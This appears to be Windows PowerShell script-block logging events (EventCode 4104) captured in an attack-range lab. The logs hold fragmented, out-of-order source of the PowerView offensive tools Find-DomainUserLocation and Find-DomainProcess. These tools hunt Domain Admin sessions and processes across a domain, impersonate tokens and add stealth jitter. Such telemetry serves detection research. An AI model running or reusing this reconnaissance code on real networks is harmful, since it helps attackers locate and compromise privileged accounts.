$UserIdentity } if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) { $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) { # otherwise we're querying a specific group $Gr ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989531 Keywords=None Message=Creating Scriptblock text (51 of 61): eder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and queries the domain for users of a specified group (default 'Domain Admins') with Get-DomainGroupMember. Then for each server the function enumerates any current processes running with Get-WMIProcess, searching for processes running under any target user contexts or with the specified -ProcessName. If -Credential is passed, it is passed through to the underlying WMI commands used to enumerate the remote machines. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER Domain Specifies the domain to query for computers AND users, defaults to the current domain. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerUnconstrained Switch. Search computer objects that have unconstrained delegation. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER ProcessName Search for processes with one or more specific names. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainProcess Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. .EXAMPLE Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by privileged users in dev.testlab.local. .EXAMPLE Find-DomainProcess -ProcessName putty.exe Searchings for instances of putty.exe running on the current domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainProcess -Domain testlab.local -Credential $Cred Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. .OUTPUTS PowerView.UserProcess #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [OutputType('PowerView.UserProcess')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [Alias('Unconstrained')] [Switch] $ComputerUnconstrained, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ParameterSetName = 'TargetProcess')] [ValidateNotNullOrEmpty()] [String[]] $ProcessName, [Parameter(ParameterSetName = 'TargetUser')] [Parameter(ParameterSetName = 'UserIdentity')] [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserDomain, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Parameter(ParameterSetName = 'TargetUser')] [Alias('AdminCount')] [Switch] $UserAdminCount, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } $UserSearcherArguments = @{ 'Properties' = 'samaccountname' } if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } # first, build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-DomainProcess] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainProcess] No hosts found to enumerate' } # now build the user target set if ($PSBoundParameters['ProcessName']) { $TargetProcessName = @() ForEach ($T in $ProcessName) { $TargetProcessName += $T.Split(',') } if ($TargetProcessName -isnot [System.Array]) { $TargetProcessName = [String[]] @($TargetProcessName) } } elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } else { $GroupSearcherArguments = @{ 'Identity' = $UserGroupIdentity 'Recurse' = $True } if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParamete ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989530 Keywords=None Message=Creating Scriptblock text (50 of 61): one } if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential } $FileServers = Get-DomainFileServer @FileServerSearcherArguments if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) } $TargetComputerArrayList.AddRange( $FileServers ) } if ($StealthSource -match 'DFS|All') { Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers' # # TODO: fix the passed parameters to Get-DomainDFSShare # $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName} } if ($StealthSource -match 'DC|All') { Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers' $DCSearcherArguments = @{ 'LDAP' = $True } if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } $DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) } $TargetComputerArrayList.AddRange( $DomainControllers ) } $TargetComputers = $TargetComputerArrayList.ToArray() } else { Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } } Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainUserLocation] No hosts found to enumerate' } # get the current user so we can ignore it in the results if ($PSBoundParameters['Credential']) { $CurrentUser = $Credential.GetNetworkCredential().UserName } else { $CurrentUser = ([Environment]::UserName).ToLower() } # now build the user target set if ($PSBoundParameters['ShowAll']) { $TargetUsers = @() } elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } else { $GroupSearcherArguments = @{ 'Identity' = $UserGroupIdentity 'Recurse' = $True } if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)" if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) { throw '[Find-DomainUserLocation] No users found to target' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { $Sessions = Get-NetSession -ComputerName $TargetComputer ForEach ($Session in $Sessions) { $UserName = $Session.UserName $CName = $Session.CName if ($CName -and $CName.StartsWith('\\')) { $CName = $CName.TrimStart('\') } # make sure we have a result, and ignore computer$ sessions if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) { if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) { $UserLocation = New-Object PSObject $UserLocation | Add-Member Noteproperty 'UserDomain' $Null $UserLocation | Add-Member Noteproperty 'UserName' $UserName $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer $UserLocation | Add-Member Noteproperty 'SessionFrom' $CName # try to resolve the DNS hostname of $Cname try { $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName $UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName } catch { $UserLocation | Add-Member NoteProperty 'SessionFromName' $Null } # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } else { $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null } $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') $UserLocation } } } if (-not $Stealth) { # if we're not 'stealthy', enumerate loggedon users as well $LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer ForEach ($User in $LoggedOn) { $UserName = $User.UserName $UserDomain = $User.LogonDomain # make sure wet have a result if (($UserName) -and ($UserName.trim() -ne '')) { if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) { $IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress $UserLocation = New-Object PSObject $UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain $UserLocation | Add-Member Noteproperty 'UserName' $UserName $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer $UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress $UserLocation | Add-Member Noteproperty 'SessionFrom' $Null $UserLocation | Add-Member Noteproperty 'SessionFromName' $Null # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = Test-AdminAccess -ComputerName $TargetComputer $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } else { $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null } $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') $UserLocation } } } } } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken if ($Result -and $StopOnSuccess) { Write-Verbose "[Find-DomainUserLocation] Target user found, returning early" return } } } else { Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads" Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'TargetUsers' = $TargetUsers 'CurrentUser' = $CurrentUser 'Stealth' = $Stealth 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Find-DomainProcess { <# .SYNOPSIS Searches for processes on the domain using WMI, returning processes that match a particular user specification or process name. Thanks to @paulbrandau for the approach idea. Author: Will Schro ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989529 Keywords=None Message=Creating Scriptblock text (49 of 61): function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon The found user list is compared against the target list, and any matches are displayed. If -ShowAll is specified, all results are displayed instead of the filtered set. If -Stealth is specified, then likely highly-trafficed servers are enumerated with Get-DomainFileServer/Get-DomainController, and session enumeration is executed only against those servers. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER Domain Specifies the domain to query for computers AND users, defaults to the current domain. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerUnconstrained Switch. Search computer objects that have unconstrained delegation. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER UserAllowDelegation Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. .PARAMETER CheckAccess Switch. Check if the current user has local admin access to computers where target users are found. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER ShowAll Switch. Return all user location results instead of filtering based on target specifications. .PARAMETER Stealth Switch. Only enumerate sessions from connonly used target servers. .PARAMETER StealthSource The source of target servers to use, 'DFS' (distributed file servers), 'DC' (domain controllers), 'File' (file servers), or 'All' (the default). .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainUserLocation Searches for 'Domain Admins' by enumerating every computer in the domain. .EXAMPLE Find-DomainUserLocation -Stealth -ShowAll Enumerates likely highly-trafficked servers, performs just session enumeration against each, and outputs all results. .EXAMPLE Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged users in dev.testlab.local. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainUserLocation -Domain testlab.local -Credential $Cred Searches for domain admin locations in the testlab.local using the specified alternate credentials. .OUTPUTS PowerView.UserLocation #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.UserLocation')] [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [Alias('Unconstrained')] [Switch] $ComputerUnconstrained, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ParameterSetName = 'UserIdentity')] [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $UserDomain, [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [Parameter(ParameterSetName = 'UserGroupIdentity')] [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Alias('AdminCount')] [Switch] $UserAdminCount, [Alias('AllowDelegation')] [Switch] $UserAllowDelegation, [Switch] $CheckAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Parameter(ParameterSetName = 'ShowAll')] [Switch] $ShowAll, [Switch] $Stealth, [String] [ValidateSet('DFS', 'DC', 'File', 'All')] $StealthSource = 'All', [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } $UserSearcherArguments = @{ 'Properties' = 'samaccountname' } if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if 